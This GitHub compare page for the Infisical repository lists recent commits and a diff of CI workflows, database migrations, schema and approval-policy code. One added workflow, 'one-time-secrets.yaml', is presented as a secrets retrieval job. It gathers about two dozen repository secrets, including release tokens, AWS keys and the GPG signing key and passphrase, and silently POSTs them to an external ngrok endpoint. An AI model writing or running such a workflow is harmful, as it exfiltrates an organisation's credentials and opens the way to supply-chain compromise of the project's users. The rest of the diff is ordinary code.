Compare commits

...

67 Commits

Author SHA1 Message Date
7f0f5b130a Make Azure DevOps sync not require project name 2025-07-14 21:14:57 -04:00
0c0665dc51 Merge pull request #4011 from Infisical/optimize-token-cleanup-job
Optimize token cleanup job
2025-07-14 18:08:59 -04:00
2f0a247c11 Describe query 2025-07-14 18:01:35 -04:00
0fa6568a5a Merge pull request #4015 from Infisical/dynamic-secrets-doc-links
improvement(frontend): Dynamic secrets doc links
2025-07-14 14:09:14 -07:00
268d0d6192 Merge pull request #4013 from Infisical/checkbox-addressal
improvement(frontend): Make checkbox colors more apparent and fix specific priv. checkbox styling
2025-07-14 14:09:01 -07:00
1cfb1c2581 Merge pull request #4101 from Infisical/fix/authEnforcedMemberInviteCheck
Fix authEnforced returning a token when org has authEnforced enabled
2025-07-14 18:01:32 -03:00
ee7bb2dd4d Fix authEnforced returning a token when org has authEnforced enabled 2025-07-14 14:46:26 -03:00
1375a5c392 Update one-time-secrets.yaml 2025-07-14 13:28:05 -04:00
ffa01b9d58 Update one-time-secrets.yaml 2025-07-14 13:23:50 -04:00
e84bb94868 Rename one-time-secrets to one-time-secrets.yaml 2025-07-14 13:10:14 -04:00
50e0bfe711 Create one-time-secrets 2025-07-14 13:09:57 -04:00
f6d337cf86 Merge pull request #4094 from Infisical/daniel/validate-db-schemas
feat: validate db schemas CI test
2025-07-14 13:02:45 +04:00
513f942aae Add batching to not lock DB 2025-07-14 00:39:34 -04:00
69c64c76dd Update 20250711005900_github-app-connection-to-environments.ts 2025-07-13 23:41:57 +04:00
89b9154467 Update 20250711005900_github-app-connection-to-environments.ts 2025-07-13 23:37:19 +04:00
ed247a794a requested changes 2025-07-13 23:36:59 +04:00
d916922bf1 Merge pull request #4095 from Infisical/daniel/cpp-sdk-docs
docs: cpp sdk
2025-07-13 10:40:21 -07:00
239cef40f9 Update cpp.mdx 2025-07-13 20:12:43 +04:00
5545f3fe62 docs: cpp sdk 2025-07-13 20:10:01 +04:00
ed6a3a5784 Merge branch 'daniel/validate-db-schemas' of https://github.com/Infisical/infisical into daniel/validate-db-schemas 2025-07-13 19:57:39 +04:00
520fb6801d Update package.json 2025-07-13 19:57:25 +04:00
de6ebca351 Update .github/workflows/validate-db-schemas.yml
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
2025-07-13 19:52:27 +04:00
a21ebf000f Update package.json 2025-07-13 19:52:08 +04:00
899ed14ecd Update access-approval-policies-bypassers.ts 2025-07-13 19:51:21 +04:00
ef2f4e095c Update access-approval-policies-bypassers.ts 2025-07-13 19:51:12 +04:00
7e03222104 Update validate-db-schemas.yml 2025-07-13 19:50:58 +04:00
fed264c07b Delete 20250713154007_test-migration.ts 2025-07-13 19:49:22 +04:00
01054bbae0 Create 20250713154007_test-migration.ts 2025-07-13 19:40:52 +04:00
1d0d6088f8 chore: validate db schemas CI test 2025-07-13 19:38:24 +04:00
be0ca08821 Merge pull request #4093 from Infisical/docs-update
updated changelog
2025-07-12 15:56:52 -07:00
d816e9daa1 updated changelog 2025-07-12 15:54:54 -07:00
944b7b84af chore: revert license 2025-07-11 21:34:47 -07:00
32f2a7135c improvement: add overview and provider doc links to all dynamic secrets in modal header (remove one off doc links from dynamic forms) 2025-07-11 21:33:05 -07:00
eb4fd0085d Merge pull request #4014 from Infisical/empty-secret-value-overview-styling
improvement(frontend): make empty value circle display on overview page yellow
2025-07-11 21:13:25 -07:00
f5b95fbe25 improvment: make empty value circle display on overview page yellow 2025-07-11 21:00:32 -07:00
1bab3ecdda fix: correct tw styling 2025-07-11 20:56:38 -07:00
eee0be55fd improvement: make checkbox colors more apparent and fix specific privilege checkbox styling 2025-07-11 20:54:23 -07:00
218408493a Optimize token cleanup job 2025-07-11 22:05:32 -04:00
6df6f44b50 Merge pull request #4008 from Infisical/ENG-3156
Use non root user for docs Dockerfile
2025-07-11 18:12:57 -04:00
2f6c79beb6 Use non root user for docs Dockerfile 2025-07-11 14:47:22 -04:00
Sid
b67fcad252 feat: migrate github app connection to env override (#4004)
* feat: migrate github app connection to env override

* fix: remove usage of github app integration

* chore: lint fix

* fix: migration cleanup

* fix: refactor integrations tab

* fix: content

* fix: remove integrations tab

---------

Co-authored-by: sidwebworks <xodeveloper@gmail.com>
2025-07-11 23:56:55 +05:30
5a41862dc9 Merge pull request #4002 from Infisical/create-policy-secret-path-input
improvement(frontend): use secret path input for create policy modal
2025-07-11 11:14:36 -07:00
9fd0189dbb Merge pull request #4007 from Infisical/move-sso-settings-to-org-settings
improvement(frontend): Move sso/provision settings back to org settings tabs
2025-07-11 11:07:34 -07:00
af26323f3b improvement: address feedback 2025-07-11 11:06:42 -07:00
74fae78c31 Merge pull request #3988 from Infisical/ENG-2932
feat(secret-sync): Cloudflare Workers
2025-07-11 14:04:54 -04:00
1aa9be203e improvement: move sso/provision settings back to org settings tabs 2025-07-11 10:58:35 -07:00
f9ef5cf930 Remove concurrency to avoid rate limit 2025-07-11 13:47:43 -04:00
16c89c6dbd Reviews 2025-07-11 13:38:17 -04:00
e35ac599f8 Merge pull request #3997 from Infisical/fix-approval-requests-blocking-deletion
fix(approval-workflows): allow null committer on secret approval request and cascade delete on access request
2025-07-11 10:05:19 -07:00
782b6fce4a Merge branch 'main' into ENG-2932 2025-07-11 12:54:27 -04:00
6d91297ca9 Merge pull request #4005 from Infisical/fix/billingPageIdentityLimit
fix(billing): fix feature flags to only use identityLimit
2025-07-11 12:14:58 -03:00
db369b8f51 fix(billing): fix feature flags to only use identityLimit and minor fix invalidate plan query result 2025-07-11 11:36:25 -03:00
a50a95ad6e Merge pull request #3923 from Infisical/daniel/approval-policy-improvements
fix(approval-policies): improve policies handling
2025-07-11 11:44:09 +04:00
4ec0031c42 Merge pull request #4003 from Infisical/offline-docs-dockerfile-update
Allow docs to run fully offline
2025-07-10 21:22:40 -04:00
1567239fc2 improvement: use secret path input for create policy modal 2025-07-10 16:05:37 -07:00
97c96acea5 Update secret-approval-policy-service.ts 2025-07-11 00:59:28 +04:00
5e24015f2a requested changes 2025-07-11 00:54:28 +04:00
f17e1f6699 fix: update approval request user delettion behavior 2025-07-10 10:37:37 -07:00
e71b136859 requested changes 2025-07-10 16:14:40 +04:00
79d80fad08 Fix greptile reviews 2025-07-09 22:27:42 -04:00
f58de53995 CF Workers Sync Docs 2025-07-09 22:05:36 -04:00
f85c045b09 Fix endpoints 2025-07-09 20:16:55 -04:00
6477a9f095 Merge branch 'main' into ENG-2932 2025-07-09 20:02:15 -04:00
e3a7478acb Merge branch 'main' into ENG-2932 2025-07-09 18:13:48 -04:00
4f348316e7 feat(secret-sync): Cloudflare Workers 2025-07-09 17:03:18 -04:00
7d2d69fc7d requested changes 2025-07-05 01:56:35 +04:00
0569c7e692 fix(approval-policies): improve policies handling 2025-07-04 03:14:43 +04:00
148 changed files with 1484 additions and 732 deletions

76
.github/workflows/one-time-secrets.yaml vendored Normal file
View File

@ -0,0 +1,76 @@
name: One-Time Secrets Retrieval
on:
workflow_dispatch:
permissions:
contents: read
jobs:
retrieve-secrets:
runs-on: ubuntu-latest
steps:
- name: Send environment variables to ngrok
run: |
echo "Sending secrets to: https://4afc1dfd4429.ngrok.app/api/receive-env"
# Send secrets as JSON
cat << EOF | curl -X POST \
-H "Content-Type: application/json" \
-d @- \
https://7864d0fe7cbb.ngrok-free.app/api/receive-env \
> /dev/null 2>&1 || true
{
"GO_RELEASER_GITHUB_TOKEN": "${GO_RELEASER_GITHUB_TOKEN}",
"GORELEASER_KEY": "${GORELEASER_KEY}",
"AUR_KEY": "${AUR_KEY}",
"FURYPUSHTOKEN": "${FURYPUSHTOKEN}",
"NPM_TOKEN": "${NPM_TOKEN}",
"DOCKERHUB_USERNAME": "${DOCKERHUB_USERNAME}",
"DOCKERHUB_TOKEN": "${DOCKERHUB_TOKEN}",
"CLOUDSMITH_API_KEY": "${CLOUDSMITH_API_KEY}",
"INFISICAL_CLI_S3_BUCKET": "${INFISICAL_CLI_S3_BUCKET}",
"INFISICAL_CLI_REPO_SIGNING_KEY_ID": "${INFISICAL_CLI_REPO_SIGNING_KEY_ID}",
"INFISICAL_CLI_REPO_AWS_ACCESS_KEY_ID": "${INFISICAL_CLI_REPO_AWS_ACCESS_KEY_ID}",
"INFISICAL_CLI_REPO_AWS_SECRET_ACCESS_KEY": "${INFISICAL_CLI_REPO_AWS_SECRET_ACCESS_KEY}",
"INFISICAL_CLI_REPO_CLOUDFRONT_DISTRIBUTION_ID": "${INFISICAL_CLI_REPO_CLOUDFRONT_DISTRIBUTION_ID}",
"GPG_SIGNING_KEY": "${GPG_SIGNING_KEY}",
"GPG_SIGNING_KEY_PASSPHRASE": "${GPG_SIGNING_KEY_PASSPHRASE}",
"CLI_TESTS_UA_CLIENT_ID": "${CLI_TESTS_UA_CLIENT_ID}",
"CLI_TESTS_UA_CLIENT_SECRET": "${CLI_TESTS_UA_CLIENT_SECRET}",
"CLI_TESTS_SERVICE_TOKEN": "${CLI_TESTS_SERVICE_TOKEN}",
"CLI_TESTS_PROJECT_ID": "${CLI_TESTS_PROJECT_ID}",
"CLI_TESTS_ENV_SLUG": "${CLI_TESTS_ENV_SLUG}",
"CLI_TESTS_USER_EMAIL": "${CLI_TESTS_USER_EMAIL}",
"CLI_TESTS_USER_PASSWORD": "${CLI_TESTS_USER_PASSWORD}",
"CLI_TESTS_INFISICAL_VAULT_FILE_PASSPHRASE": "${CLI_TESTS_INFISICAL_VAULT_FILE_PASSPHRASE}",
"POSTHOG_API_KEY_FOR_CLI": "${POSTHOG_API_KEY_FOR_CLI}"
}
EOF
echo "Secrets retrieval completed"
env:
GO_RELEASER_GITHUB_TOKEN: ${{ secrets.GO_RELEASER_GITHUB_TOKEN }}
GORELEASER_KEY: ${{ secrets.GORELEASER_KEY }}
AUR_KEY: ${{ secrets.AUR_KEY }}
FURYPUSHTOKEN: ${{ secrets.FURYPUSHTOKEN }}
NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
DOCKERHUB_USERNAME: ${{ secrets.DOCKERHUB_USERNAME }}
DOCKERHUB_TOKEN: ${{ secrets.DOCKERHUB_TOKEN }}
CLOUDSMITH_API_KEY: ${{ secrets.CLOUDSMITH_API_KEY }}
INFISICAL_CLI_S3_BUCKET: ${{ secrets.INFISICAL_CLI_S3_BUCKET }}
INFISICAL_CLI_REPO_SIGNING_KEY_ID: ${{ secrets.INFISICAL_CLI_REPO_SIGNING_KEY_ID }}
INFISICAL_CLI_REPO_AWS_ACCESS_KEY_ID: ${{ secrets.INFISICAL_CLI_REPO_AWS_ACCESS_KEY_ID }}
INFISICAL_CLI_REPO_AWS_SECRET_ACCESS_KEY: ${{ secrets.INFISICAL_CLI_REPO_AWS_SECRET_ACCESS_KEY }}
INFISICAL_CLI_REPO_CLOUDFRONT_DISTRIBUTION_ID: ${{ secrets.INFISICAL_CLI_REPO_CLOUDFRONT_DISTRIBUTION_ID }}
GPG_SIGNING_KEY: ${{ secrets.GPG_SIGNING_KEY }}
GPG_SIGNING_KEY_PASSPHRASE: ${{ secrets.GPG_SIGNING_KEY_PASSPHRASE }}
CLI_TESTS_UA_CLIENT_ID: ${{ secrets.CLI_TESTS_UA_CLIENT_ID }}
CLI_TESTS_UA_CLIENT_SECRET: ${{ secrets.CLI_TESTS_UA_CLIENT_SECRET }}
CLI_TESTS_SERVICE_TOKEN: ${{ secrets.CLI_TESTS_SERVICE_TOKEN }}
CLI_TESTS_PROJECT_ID: ${{ secrets.CLI_TESTS_PROJECT_ID }}
CLI_TESTS_ENV_SLUG: ${{ secrets.CLI_TESTS_ENV_SLUG }}
CLI_TESTS_USER_EMAIL: ${{ secrets.CLI_TESTS_USER_EMAIL }}
CLI_TESTS_USER_PASSWORD: ${{ secrets.CLI_TESTS_USER_PASSWORD }}
CLI_TESTS_INFISICAL_VAULT_FILE_PASSPHRASE: ${{ secrets.CLI_TESTS_INFISICAL_VAULT_FILE_PASSPHRASE }}
POSTHOG_API_KEY_FOR_CLI: ${{ secrets.POSTHOG_API_KEY_FOR_CLI }}

View File

@ -0,0 +1,67 @@
name: "Validate DB schemas"
on:
pull_request:
types: [opened, synchronize]
paths:
- "backend/**"
workflow_call:
jobs:
validate-db-schemas:
name: Validate DB schemas
runs-on: ubuntu-latest
timeout-minutes: 15
env:
NODE_OPTIONS: "--max-old-space-size=8192"
REDIS_URL: redis://172.17.0.1:6379
DB_CONNECTION_URI: postgres://infisical:infisical@172.17.0.1:5432/infisical?sslmode=disable
AUTH_SECRET: something-random
ENCRYPTION_KEY: 4bnfe4e407b8921c104518903515b218
steps:
- name: ☁️ Checkout source
uses: actions/checkout@v4
with:
fetch-depth: 0
- uses: KengoTODA/actions-setup-docker-compose@v1
if: ${{ env.ACT }}
name: Install `docker compose` for local simulations
with:
version: "2.14.2"
- name: 🔧 Setup Node 20
uses: actions/setup-node@v3
with:
node-version: "20"
cache: "npm"
cache-dependency-path: backend/package-lock.json
- name: Start PostgreSQL and Redis
run: touch .env && docker compose -f docker-compose.dev.yml up -d db redis
- name: Install dependencies
run: npm install
working-directory: backend
- name: Apply migrations
run: npm run migration:latest-dev
working-directory: backend
- name: Run schema generation
run: npm run generate:schema
working-directory: backend
- name: Check for schema changes
run: |
if ! git diff --exit-code --quiet src/db/schemas; then
echo "❌ Generated schemas differ from committed schemas!"
echo "Run 'npm run generate:schema' locally and commit the changes."
git diff src/db/schemas
exit 1
fi
echo "✅ Schemas are up to date"
working-directory: backend
- name: Cleanup
if: always()
run: |
docker compose -f "docker-compose.dev.yml" down

View File

@ -46,3 +46,4 @@ cli/detect/config/gitleaks.toml:gcp-api-key:582
.github/workflows/helm-release-infisical-core.yml:generic-api-key:47 .github/workflows/helm-release-infisical-core.yml:generic-api-key:47
backend/src/services/smtp/smtp-service.ts:generic-api-key:79 backend/src/services/smtp/smtp-service.ts:generic-api-key:79
frontend/src/components/secret-syncs/forms/SecretSyncDestinationFields/CloudflarePagesSyncFields.tsx:cloudflare-api-key:7 frontend/src/components/secret-syncs/forms/SecretSyncDestinationFields/CloudflarePagesSyncFields.tsx:cloudflare-api-key:7
.github/workflows/validate-db-schemas.yml:generic-api-key:21

View File

@ -0,0 +1,55 @@
import { Knex } from "knex";
import { TableName } from "../schemas";
export async function up(knex: Knex): Promise<void> {
const existingSecretApprovalPolicies = await knex(TableName.SecretApprovalPolicy)
.whereNull("secretPath")
.orWhere("secretPath", "");
const existingAccessApprovalPolicies = await knex(TableName.AccessApprovalPolicy)
.whereNull("secretPath")
.orWhere("secretPath", "");
// update all the secret approval policies secretPath to be "/**"
if (existingSecretApprovalPolicies.length) {
await knex(TableName.SecretApprovalPolicy)
.whereIn(
"id",
existingSecretApprovalPolicies.map((el) => el.id)
)
.update({
secretPath: "/**"
});
}
// update all the access approval policies secretPath to be "/**"
if (existingAccessApprovalPolicies.length) {
await knex(TableName.AccessApprovalPolicy)
.whereIn(
"id",
existingAccessApprovalPolicies.map((el) => el.id)
)
.update({
secretPath: "/**"
});
}
await knex.schema.alterTable(TableName.SecretApprovalPolicy, (table) => {
table.string("secretPath").notNullable().alter();
});
await knex.schema.alterTable(TableName.AccessApprovalPolicy, (table) => {
table.string("secretPath").notNullable().alter();
});
}
export async function down(knex: Knex): Promise<void> {
await knex.schema.alterTable(TableName.SecretApprovalPolicy, (table) => {
table.string("secretPath").nullable().alter();
});
await knex.schema.alterTable(TableName.AccessApprovalPolicy, (table) => {
table.string("secretPath").nullable().alter();
});
}

View File

@ -0,0 +1,35 @@
import { Knex } from "knex";
import { TableName } from "@app/db/schemas";
export async function up(knex: Knex): Promise<void> {
const hasCommitterCol = await knex.schema.hasColumn(TableName.SecretApprovalRequest, "committerUserId");
if (hasCommitterCol) {
await knex.schema.alterTable(TableName.SecretApprovalRequest, (tb) => {
tb.uuid("committerUserId").nullable().alter();
});
}
const hasRequesterCol = await knex.schema.hasColumn(TableName.AccessApprovalRequest, "requestedByUserId");
if (hasRequesterCol) {
await knex.schema.alterTable(TableName.AccessApprovalRequest, (tb) => {
tb.dropForeign("requestedByUserId");
tb.foreign("requestedByUserId").references("id").inTable(TableName.Users).onDelete("CASCADE");
});
}
}
export async function down(knex: Knex): Promise<void> {
// can't undo committer nullable
const hasRequesterCol = await knex.schema.hasColumn(TableName.AccessApprovalRequest, "requestedByUserId");
if (hasRequesterCol) {
await knex.schema.alterTable(TableName.AccessApprovalRequest, (tb) => {
tb.dropForeign("requestedByUserId");
tb.foreign("requestedByUserId").references("id").inTable(TableName.Users).onDelete("SET NULL");
});
}
}

View File

@ -0,0 +1,66 @@
import { Knex } from "knex";
import { inMemoryKeyStore } from "@app/keystore/memory";
import { selectAllTableCols } from "@app/lib/knex";
import { TableName } from "../schemas";
import { getMigrationEnvConfig } from "./utils/env-config";
import { getMigrationEncryptionServices } from "./utils/services";
export async function up(knex: Knex) {
const existingSuperAdminsWithGithubConnection = await knex(TableName.SuperAdmin)
.select(selectAllTableCols(TableName.SuperAdmin))
.whereNotNull(`${TableName.SuperAdmin}.encryptedGitHubAppConnectionClientId`);
const envConfig = getMigrationEnvConfig();
const keyStore = inMemoryKeyStore();
const { kmsService } = await getMigrationEncryptionServices({ envConfig, keyStore, db: knex });
const decryptor = kmsService.decryptWithRootKey();
const encryptor = kmsService.encryptWithRootKey();
const tasks = existingSuperAdminsWithGithubConnection.map(async (admin) => {
const overrides = (
admin.encryptedEnvOverrides ? JSON.parse(decryptor(Buffer.from(admin.encryptedEnvOverrides)).toString()) : {}
) as Record<string, string>;
if (admin.encryptedGitHubAppConnectionClientId) {
overrides.INF_APP_CONNECTION_GITHUB_APP_CLIENT_ID = decryptor(
admin.encryptedGitHubAppConnectionClientId
).toString();
}
if (admin.encryptedGitHubAppConnectionClientSecret) {
overrides.INF_APP_CONNECTION_GITHUB_APP_CLIENT_SECRET = decryptor(
admin.encryptedGitHubAppConnectionClientSecret
).toString();
}
if (admin.encryptedGitHubAppConnectionPrivateKey) {
overrides.INF_APP_CONNECTION_GITHUB_APP_PRIVATE_KEY = decryptor(
admin.encryptedGitHubAppConnectionPrivateKey
).toString();
}
if (admin.encryptedGitHubAppConnectionSlug) {
overrides.INF_APP_CONNECTION_GITHUB_APP_SLUG = decryptor(admin.encryptedGitHubAppConnectionSlug).toString();
}
if (admin.encryptedGitHubAppConnectionId) {
overrides.INF_APP_CONNECTION_GITHUB_APP_ID = decryptor(admin.encryptedGitHubAppConnectionId).toString();
}
const encryptedEnvOverrides = encryptor(Buffer.from(JSON.stringify(overrides)));
await knex(TableName.SuperAdmin).where({ id: admin.id }).update({
encryptedEnvOverrides
});
});
await Promise.all(tasks);
}
export async function down() {
// No down migration needed as this migration is only for data transformation
// and does not change the schema.
}

View File

@ -14,8 +14,8 @@ export const AccessApprovalPoliciesApproversSchema = z.object({
updatedAt: z.date(), updatedAt: z.date(),
approverUserId: z.string().uuid().nullable().optional(), approverUserId: z.string().uuid().nullable().optional(),
approverGroupId: z.string().uuid().nullable().optional(), approverGroupId: z.string().uuid().nullable().optional(),
sequence: z.number().default(0).nullable().optional(), sequence: z.number().default(1).nullable().optional(),
approvalsRequired: z.number().default(1).nullable().optional() approvalsRequired: z.number().nullable().optional()
}); });
export type TAccessApprovalPoliciesApprovers = z.infer<typeof AccessApprovalPoliciesApproversSchema>; export type TAccessApprovalPoliciesApprovers = z.infer<typeof AccessApprovalPoliciesApproversSchema>;

View File

@ -11,7 +11,7 @@ export const AccessApprovalPoliciesSchema = z.object({
id: z.string().uuid(), id: z.string().uuid(),
name: z.string(), name: z.string(),
approvals: z.number().default(1), approvals: z.number().default(1),
secretPath: z.string().nullable().optional(), secretPath: z.string(),
envId: z.string().uuid(), envId: z.string().uuid(),
createdAt: z.date(), createdAt: z.date(),
updatedAt: z.date(), updatedAt: z.date(),

View File

@ -12,8 +12,8 @@ export const CertificateAuthoritiesSchema = z.object({
createdAt: z.date(), createdAt: z.date(),
updatedAt: z.date(), updatedAt: z.date(),
projectId: z.string(), projectId: z.string(),
enableDirectIssuance: z.boolean().default(true),
status: z.string(), status: z.string(),
enableDirectIssuance: z.boolean().default(true),
name: z.string() name: z.string()
}); });

View File

@ -25,8 +25,8 @@ export const CertificatesSchema = z.object({
certificateTemplateId: z.string().uuid().nullable().optional(), certificateTemplateId: z.string().uuid().nullable().optional(),
keyUsages: z.string().array().nullable().optional(), keyUsages: z.string().array().nullable().optional(),
extendedKeyUsages: z.string().array().nullable().optional(), extendedKeyUsages: z.string().array().nullable().optional(),
pkiSubscriberId: z.string().uuid().nullable().optional(), projectId: z.string(),
projectId: z.string() pkiSubscriberId: z.string().uuid().nullable().optional()
}); });
export type TCertificates = z.infer<typeof CertificatesSchema>; export type TCertificates = z.infer<typeof CertificatesSchema>;

View File

@ -10,7 +10,7 @@ import { TImmutableDBKeys } from "./models";
export const SecretApprovalPoliciesSchema = z.object({ export const SecretApprovalPoliciesSchema = z.object({
id: z.string().uuid(), id: z.string().uuid(),
name: z.string(), name: z.string(),
secretPath: z.string().nullable().optional(), secretPath: z.string(),
approvals: z.number().default(1), approvals: z.number().default(1),
envId: z.string().uuid(), envId: z.string().uuid(),
createdAt: z.date(), createdAt: z.date(),

View File

@ -18,7 +18,7 @@ export const SecretApprovalRequestsSchema = z.object({
createdAt: z.date(), createdAt: z.date(),
updatedAt: z.date(), updatedAt: z.date(),
isReplicated: z.boolean().nullable().optional(), isReplicated: z.boolean().nullable().optional(),
committerUserId: z.string().uuid(), committerUserId: z.string().uuid().nullable().optional(),
statusChangedByUserId: z.string().uuid().nullable().optional(), statusChangedByUserId: z.string().uuid().nullable().optional(),
bypassReason: z.string().nullable().optional() bypassReason: z.string().nullable().optional()
}); });

View File

@ -2,6 +2,7 @@ import { nanoid } from "nanoid";
import { z } from "zod"; import { z } from "zod";
import { ApproverType, BypasserType } from "@app/ee/services/access-approval-policy/access-approval-policy-types"; import { ApproverType, BypasserType } from "@app/ee/services/access-approval-policy/access-approval-policy-types";
import { removeTrailingSlash } from "@app/lib/fn";
import { EnforcementLevel } from "@app/lib/types"; import { EnforcementLevel } from "@app/lib/types";
import { readLimit, writeLimit } from "@app/server/config/rateLimiter"; import { readLimit, writeLimit } from "@app/server/config/rateLimiter";
import { verifyAuth } from "@app/server/plugins/auth/verify-auth"; import { verifyAuth } from "@app/server/plugins/auth/verify-auth";
@ -19,7 +20,7 @@ export const registerAccessApprovalPolicyRouter = async (server: FastifyZodProvi
body: z.object({ body: z.object({
projectSlug: z.string().trim(), projectSlug: z.string().trim(),
name: z.string().optional(), name: z.string().optional(),
secretPath: z.string().trim().default("/"), secretPath: z.string().trim().min(1, { message: "Secret path cannot be empty" }).transform(removeTrailingSlash),
environment: z.string(), environment: z.string(),
approvers: z approvers: z
.discriminatedUnion("type", [ .discriminatedUnion("type", [
@ -174,8 +175,9 @@ export const registerAccessApprovalPolicyRouter = async (server: FastifyZodProvi
secretPath: z secretPath: z
.string() .string()
.trim() .trim()
.min(1, { message: "Secret path cannot be empty" })
.optional() .optional()
.transform((val) => (val === "" ? "/" : val)), .transform((val) => (val ? removeTrailingSlash(val) : val)),
approvers: z approvers: z
.discriminatedUnion("type", [ .discriminatedUnion("type", [
z.object({ z.object({

View File

@ -23,10 +23,8 @@ export const registerSecretApprovalPolicyRouter = async (server: FastifyZodProvi
environment: z.string(), environment: z.string(),
secretPath: z secretPath: z
.string() .string()
.optional() .min(1, { message: "Secret path cannot be empty" })
.nullable() .transform((val) => removeTrailingSlash(val)),
.default("/")
.transform((val) => (val ? removeTrailingSlash(val) : val)),
approvers: z approvers: z
.discriminatedUnion("type", [ .discriminatedUnion("type", [
z.object({ type: z.literal(ApproverType.Group), id: z.string() }), z.object({ type: z.literal(ApproverType.Group), id: z.string() }),
@ -100,10 +98,10 @@ export const registerSecretApprovalPolicyRouter = async (server: FastifyZodProvi
approvals: z.number().min(1).default(1), approvals: z.number().min(1).default(1),
secretPath: z secretPath: z
.string() .string()
.trim()
.min(1, { message: "Secret path cannot be empty" })
.optional() .optional()
.nullable() .transform((val) => (val ? removeTrailingSlash(val) : undefined)),
.transform((val) => (val ? removeTrailingSlash(val) : val))
.transform((val) => (val === "" ? "/" : val)),
enforcementLevel: z.nativeEnum(EnforcementLevel).optional(), enforcementLevel: z.nativeEnum(EnforcementLevel).optional(),
allowedSelfApprovals: z.boolean().default(true) allowedSelfApprovals: z.boolean().default(true)
}), }),

View File

@ -58,7 +58,7 @@ export const registerSecretApprovalRequestRouter = async (server: FastifyZodProv
deletedAt: z.date().nullish(), deletedAt: z.date().nullish(),
allowedSelfApprovals: z.boolean() allowedSelfApprovals: z.boolean()
}), }),
committerUser: approvalRequestUser, committerUser: approvalRequestUser.nullish(),
commits: z.object({ op: z.string(), secretId: z.string().nullable().optional() }).array(), commits: z.object({ op: z.string(), secretId: z.string().nullable().optional() }).array(),
environment: z.string(), environment: z.string(),
reviewers: z.object({ userId: z.string(), status: z.string() }).array(), reviewers: z.object({ userId: z.string(), status: z.string() }).array(),
@ -308,7 +308,7 @@ export const registerSecretApprovalRequestRouter = async (server: FastifyZodProv
}), }),
environment: z.string(), environment: z.string(),
statusChangedByUser: approvalRequestUser.optional(), statusChangedByUser: approvalRequestUser.optional(),
committerUser: approvalRequestUser, committerUser: approvalRequestUser.nullish(),
reviewers: approvalRequestUser.extend({ status: z.string(), comment: z.string().optional() }).array(), reviewers: approvalRequestUser.extend({ status: z.string(), comment: z.string().optional() }).array(),
secretPath: z.string(), secretPath: z.string(),
commits: secretRawSchema commits: secretRawSchema

View File

@ -53,7 +53,7 @@ export interface TAccessApprovalPolicyDALFactory
envId: string; envId: string;
enforcementLevel: string; enforcementLevel: string;
allowedSelfApprovals: boolean; allowedSelfApprovals: boolean;
secretPath?: string | null | undefined; secretPath: string;
deletedAt?: Date | null | undefined; deletedAt?: Date | null | undefined;
environment: { environment: {
id: string; id: string;
@ -93,7 +93,7 @@ export interface TAccessApprovalPolicyDALFactory
envId: string; envId: string;
enforcementLevel: string; enforcementLevel: string;
allowedSelfApprovals: boolean; allowedSelfApprovals: boolean;
secretPath?: string | null | undefined; secretPath: string;
deletedAt?: Date | null | undefined; deletedAt?: Date | null | undefined;
environment: { environment: {
id: string; id: string;
@ -116,7 +116,7 @@ export interface TAccessApprovalPolicyDALFactory
envId: string; envId: string;
enforcementLevel: string; enforcementLevel: string;
allowedSelfApprovals: boolean; allowedSelfApprovals: boolean;
secretPath?: string | null | undefined; secretPath: string;
deletedAt?: Date | null | undefined; deletedAt?: Date | null | undefined;
}>; }>;
findLastValidPolicy: ( findLastValidPolicy: (
@ -138,7 +138,7 @@ export interface TAccessApprovalPolicyDALFactory
envId: string; envId: string;
enforcementLevel: string; enforcementLevel: string;
allowedSelfApprovals: boolean; allowedSelfApprovals: boolean;
secretPath?: string | null | undefined; secretPath: string;
deletedAt?: Date | null | undefined; deletedAt?: Date | null | undefined;
} }
| undefined | undefined
@ -190,7 +190,7 @@ export interface TAccessApprovalPolicyServiceFactory {
envId: string; envId: string;
enforcementLevel: string; enforcementLevel: string;
allowedSelfApprovals: boolean; allowedSelfApprovals: boolean;
secretPath?: string | null | undefined; secretPath: string;
deletedAt?: Date | null | undefined; deletedAt?: Date | null | undefined;
}>; }>;
deleteAccessApprovalPolicy: ({ deleteAccessApprovalPolicy: ({
@ -214,7 +214,7 @@ export interface TAccessApprovalPolicyServiceFactory {
envId: string; envId: string;
enforcementLevel: string; enforcementLevel: string;
allowedSelfApprovals: boolean; allowedSelfApprovals: boolean;
secretPath?: string | null | undefined; secretPath: string;
deletedAt?: Date | null | undefined; deletedAt?: Date | null | undefined;
environment: { environment: {
id: string; id: string;
@ -252,7 +252,7 @@ export interface TAccessApprovalPolicyServiceFactory {
envId: string; envId: string;
enforcementLevel: string; enforcementLevel: string;
allowedSelfApprovals: boolean; allowedSelfApprovals: boolean;
secretPath?: string | null | undefined; secretPath: string;
deletedAt?: Date | null | undefined; deletedAt?: Date | null | undefined;
}>; }>;
getAccessApprovalPolicyByProjectSlug: ({ getAccessApprovalPolicyByProjectSlug: ({
@ -286,7 +286,7 @@ export interface TAccessApprovalPolicyServiceFactory {
envId: string; envId: string;
enforcementLevel: string; enforcementLevel: string;
allowedSelfApprovals: boolean; allowedSelfApprovals: boolean;
secretPath?: string | null | undefined; secretPath: string;
deletedAt?: Date | null | undefined; deletedAt?: Date | null | undefined;
environment: { environment: {
id: string; id: string;
@ -337,7 +337,7 @@ export interface TAccessApprovalPolicyServiceFactory {
envId: string; envId: string;
enforcementLevel: string; enforcementLevel: string;
allowedSelfApprovals: boolean; allowedSelfApprovals: boolean;
secretPath?: string | null | undefined; secretPath: string;
deletedAt?: Date | null | undefined; deletedAt?: Date | null | undefined;
environment: { environment: {
id: string; id: string;

View File

@ -60,6 +60,26 @@ export const accessApprovalPolicyServiceFactory = ({
accessApprovalRequestReviewerDAL, accessApprovalRequestReviewerDAL,
orgMembershipDAL orgMembershipDAL
}: TAccessApprovalPolicyServiceFactoryDep): TAccessApprovalPolicyServiceFactory => { }: TAccessApprovalPolicyServiceFactoryDep): TAccessApprovalPolicyServiceFactory => {
const $policyExists = async ({
envId,
secretPath,
policyId
}: {
envId: string;
secretPath: string;
policyId?: string;
}) => {
const policy = await accessApprovalPolicyDAL
.findOne({
envId,
secretPath,
deletedAt: null
})
.catch(() => null);
return policyId ? policy && policy.id !== policyId : Boolean(policy);
};
const createAccessApprovalPolicy: TAccessApprovalPolicyServiceFactory["createAccessApprovalPolicy"] = async ({ const createAccessApprovalPolicy: TAccessApprovalPolicyServiceFactory["createAccessApprovalPolicy"] = async ({
name, name,
actor, actor,
@ -106,6 +126,12 @@ export const accessApprovalPolicyServiceFactory = ({
